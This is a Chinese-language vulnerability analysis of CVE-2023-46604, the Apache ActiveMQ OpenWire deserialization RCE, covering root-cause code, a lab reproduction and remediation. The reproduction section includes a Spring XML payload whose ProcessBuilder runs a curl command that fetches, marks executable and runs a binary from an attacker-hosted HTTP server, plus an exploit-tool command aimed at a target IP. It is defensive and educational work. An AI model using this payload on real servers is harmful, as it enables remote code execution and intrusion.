1. 漏洞概述
漏洞编号:CVE-2023-46604
漏洞类型:远程代码执行(RCE)
CVSS评分:10.0(Critical)
影响组件:Apache ActiveMQ OpenWire协议处理模块
漏洞成因:
-
反序列化类加载漏洞:攻击者通过构造恶意序列化数据,注入危险类名(如
org.springframework.context.support.ClassPathXmlApplicationContext
),触发远程XML配置文件加载,最终执行任意命令。 -
tightUnmarshalString
方法缺陷:未对反序列化字符串进行严格校验,可能被利用注入恶意类名或路径。
2. 影响版本
受影响版本:
Apache ActiveMQ < 5.15.16
5.16.x < 5.16.7
5.17.x < 5.17.6
5.18.x < 5.18.3
安全版本:
≥5.15.16、≥5.16.7、≥5.17.6、≥5.18.3
3. 源码分析
3.1 核心漏洞点:createThrowable()
private Throwable createThrowable(String className, String message) {
try {
// 直接加载攻击者控制的类名
Class<?> clazz = Class.forName(className, false, getClassLoader());
Constructor<?> constructor = clazz.getConstructor(String.class);
return (Throwable) constructor.newInstance(message);
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
漏洞说明:
className
完全由攻击者控制,可注入危险类(如Spring的ClassPathXmlApplicationContext
)。message
可指定远程XML URL(如http://attacker.com/malicious.xml
),触发恶意Bean实例化。
3.2反序列化入口:tightUnmarshal()
public Object tightUnmarshal(OpenWireFormat wireFormat, DataInput dataIn) throws IOException {
String className = dataIn.readUTF(); // 从数据流读取类名
Class<?> clazz = Class.forName(className); // 直接加载类
return clazz.newInstance();
}
3.3 漏洞触发链
-
构造恶意序列化数据:
-
注入
className=org.springframework.context.support.ClassPathXmlApplicationContext
-
注入
message=http://attacker.com/malicious.xml
-
-
触发
tightUnmarshalString
加载恶意参数:String clazz = tightUnmarshalString(dataIn, bs); // 类名:攻击者控制 String message = tightUnmarshalString(dataIn, bs); // 消息:远程XML URL Throwable o = createThrowable(clazz, message); // 加载远程XML
-
远程XML执行命令:
<bean class="java.lang.ProcessBuilder"> <constructor-arg> <list><value>bash</value><value>-c</value><value>恶意命令</value></list> </constructor-arg> </bean>
4. 漏洞复现(PoC)
环境搭建(vul)
攻击步骤
(1).管理员登录(账号admin,密码admin)
(2).exp工具下载
(3)在exp工具目录开启http服务
python3 -m http.server 8001
(3).修改poc.xml文件(我的靶场环境是linux,所以用poc-linux.xml)
可以在工具目录自己创建test.elf文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<!-- The command below downloads the file and saves it as test.elf -->
<value>curl -s -o test.elf http://192.168.1.1:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
</list>
</constructor-arg>
</bean>
</beans>
(4).运行exp工具
activemq-rce -i 192.168.1.100 -u http://192.168.1.1:8001/poc-linux.xml
(5).验证(进入靶场容器)
docker exec -it 容器id /bin/bash
发现生成test.elf文件
5. 修复建议
官方补丁
类名白名单:
仅允许反序列化ActiveMQ内部安全类(如org.apache.activemq.command.*
)。
private static final Set<String> ALLOWED_CLASSES = Set.of(
"org.apache.activemq.command.*",
"java.lang.Throwable"
);
6. 总结
-
漏洞根源:
-
反序列化过程中未校验类名,结合
tightUnmarshalString
方法的字符串解析缺陷,形成完整攻击链。
-
-
tightUnmarshalString
问题:-
长度未限制、编码不严谨,可能被用于构造超长字符串或畸形数据触发DoS。
-
-
修复关键:
-
类名白名单 + 输入严格校验。
-